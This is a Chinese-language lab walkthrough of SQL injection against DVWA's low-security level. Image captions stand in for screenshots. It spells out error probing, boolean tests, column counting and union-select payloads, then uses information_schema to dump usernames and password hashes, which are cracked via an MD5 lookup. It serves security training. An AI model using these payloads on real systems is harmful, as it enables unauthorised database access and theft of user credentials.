首先判断是否可以注入

输入:’

SQL注入(Low)_字段名

发现网站报错了,表示可以注入(后台有进行执行)

在判断是为字符型还是数字型

输入:1 and 1=1

SQL注入(Low)_数据库_02

再输入:1 and 1=2

SQL注入(Low)_数据库_03

因为1=1为真,1=2为假,但是1=2还是有回显

输入:1 ‘ and 1=1#   (#号和-- 一样注释掉后面部分)--后有空格

SQL注入(Low)_表名_04

再输入:1’ and 1=2#

SQL注入(Low)_表名_05

没有回显所以表示这个是字符型,因为它吧前两个当成了一句话,后两个被单引号分开后是两句话,第二次的假值没有回显

查看数据库有几列

输入:1’ order by 3#

SQL注入(Low)_字段名_06

报错了表示没有第3列

在输入:1’ order by 2#

SQL注入(Low)_数据库_07

有回显表示有2列

在查看数据库的回显位

输入:1’ union select 1,2# (union select表示联合查询)

SQL注入(Low)_字段名_08

可以看到两个都进行回显了(有些环境只会回显第一个位置,所以这一步要进行测试查看)

在输入:1’ union select database (), user()#

SQL注入(Low)_表名_09

可以看到上一步回显1的地方现在回显的是库名,回显2的地方现在是回显用户名

database() 是数据库名

user() 是用户名

version() 是数据库版本

知道了数据库名了后进行查询表名

输入:1' and 1=2 union select table_name,2 from information_schema.tables where table_schema='dvwa'#(and 1=2是取消掉第一次的默认显示如图二,table_name是表名的变量,dvwa是前面查到的库名)

图一

SQL注入(Low)_字段名_10

图二

SQL注入(Low)_字段名_11

可以看到回显了两个表名users和guestbook,在对表进行查询字段名(根据分析users是存放用户信息的表)

输入:1’ and 1=2 union select 1,group_concat(column_name) from information_schema. columns where table_name=’users’# (group_concat(column_name)是字段名变量users是表名)

SQL注入(Low)_表名_12

可以看到在回显位的第二位回显了字段名可以看到有很多(根据分析可能是用户名和密码的字段名是password,user,last_name,first_name)

在进行输入:1' and 1=2 union select first_name,password from users#

SQL注入(Low)_字段名_13

在输入:1' and 1=2 union select last_name,password from users#

SQL注入(Low)_数据库_14

在输入:

SQL注入(Low)_表名_15

可以看见只有admin这个用户没有改变过所以admin这个用户和密码是对应的,打开pmd5进行编译可以看见密码

SQL注入(Low)_字段名_16